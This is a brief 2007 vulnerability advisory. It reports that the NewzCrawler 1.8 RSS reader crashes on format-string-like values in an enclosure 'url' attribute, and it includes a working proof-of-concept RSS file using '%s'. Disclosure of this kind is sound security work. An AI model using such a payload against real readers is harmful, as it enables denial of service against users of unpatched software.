NewzCrawler 1.8 (invalid string) Remote Denial of Service Exploit

2007-05-15 00:00:00

NewzCrawler 1.8 Remote Denial of Service
Credits: gbr
Tested on Windows XP SP2

NewzCrawler 1.8 becomes usntable and begin crash when parsering the 'url' atribute of
'enclosure' sub-element contends some invalid string* at time of show a new item of a
RSS 2.0 file.

* '%s', '%Y', '%%', 'n,', and others.

PoC:

<?xml version="1.0"?>
<rss version="2.0">

<channel>
<title>Test</title>
<link></link>
<description></description>

<item>
<title>Remote DoS PoC</title>
<enclosure url="%s"/>
</item>
</channel>
</rss>

#

Fixes

No fixes

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